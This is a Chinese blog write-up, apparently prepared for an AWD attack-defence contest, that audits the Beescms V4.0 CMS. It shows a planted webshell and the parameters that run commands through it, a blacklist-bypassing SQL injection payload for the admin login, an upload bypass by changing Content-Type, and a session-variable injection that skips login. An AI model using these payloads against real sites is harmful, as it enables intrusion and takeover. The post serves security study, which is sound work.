zoukankan      html  css  js  c++  java
  • 代码审计-Beescms_V4.0

    Beescms_V4.0代码审计源于一场AWD线下比赛的漏洞源码 

    看了别的师傅的文章发现这个源码也非常简单 ,所以今晚简单审计过一遍。

     

    0x01 预留后门

    awd首先备份源码,然后下载下来查杀后门,很可能有隐藏后门,有的话直接拿这个后门开始第一轮刷分攻击。

    D盾查杀可疑后门,如下;

    site/sitemap.php 文件疑似木马,查看一下;

    明显的一句话木马

    构造也很简单:

    Post:lang=system
    Get:0=ls

    查看flag   0=cat /flag

     

    以下的代码 我选择快速审计 大体看功能 ----》推测可能存在某个漏洞------》看核心源码验证漏洞。

     0x02 后台SQL注入

    http://192.168.5.149/BEES_4.0/admin/login.php

    登录加单引号 报错 估计有注入

    看源码

    文件:/admin/login.php

     很简单的逻辑

     在42和43行发现对user和password进过fl_value()和fl_html()处理,然后送入check_login(),check_login函数我们来看看是什么

    可以看到只是功能只是最后带入查询和验证密码 那么重点过滤函数应该在前面的fl_value()和fl_html()这两个函数上,跟进。

     fl_value():

    发现 fl_value()函数就是用htmlspecialchars(()函数对字符进行转义,将特殊字符用引用实体替换。

    被转换的预定义的字符有:
    
    &:转换为&
    ":转换为"
    ':转换为成为 '
    <:转换为&lt;
    >:转换为&gt;

    再看看fl_value():

    function fl_value($str){
        if(empty($str)){return;}
        return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|=|/*|*|../|./| union | from | where | group | into |load_file
    |outfile/i','',$str);
    }

    fl_value()用preg_replace()将select、insert、and、on等等关键词替换为空,这个双写关键字即可绕过。fl_html()也就是htmlspecialchars()采用的是默认参数,仅编码双引号,所以对于’不会过滤,要想过滤单引号和双引号需要加上ENT_QUOTES参数

    所以这里构造注入payload(这是网上文章原文的):

    user=admin' uni union on selselectect 1,2,3,4,5#&password=1&code=62e4&submit=true&submit.x=56&submit.y=27

    0x03 后台任意文件上传

          可以登录后台进行测试。后台发现有图片上传的地方

    来看下代码:

    is_uploaded_file($_FILES['up']['tmp_name'])){
        if($up_type=='pic'){
            $is_thumb=empty($_POST['thumb'])?0:$_POST['thumb'];
            $thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']);
            $thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']);
            $logo=0;
            $is_up_size = $_sys['upload_size']*1000*1000;
            $value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);
            $pic=$value_arr['pic'];
            if(!empty($value_arr['thumb'])){
            $pic=$value_arr['thumb'];
            }
            $str="<script type="text/javascript">$(self.parent.document).find('#{$get}').val('{$pic}');self.parent.tb_remove();</script>";
            echo $str;
            exit;
        }//图片上传

     发现在44行

    $value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);

    定义了mime类型 只需要改下content-type得值即可。

     

    0x04 前台登录绕过

    在admin/init.php中第54行发现判断函数is_login():

    跟进这个函数

     这里验证session中得login_in和admin字段 我们可以伪造进行绕过。

    POST:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999
  • 相关阅读:
    使用tcmalloc编译启动时宕机
    使用tcmalloc编译出现undefined reference to `sem_init'
    使用AddressSanitizer做内存分析(一)——入门篇
    VIM-美化你的标签栏
    Entity Framework Code First (六)存储过程
    Entity Framework Code First (五)Fluent API
    Entity Framework Code First (四)Fluent API
    Entity Framework Code First (三)Data Annotations
    Entity Framework Code First (二)Custom Conventions
    Entity Framework Code First (一)Conventions
  • 原文地址:https://www.cnblogs.com/-qing-/p/11087333.html
Copyright © 2011-2022 走看看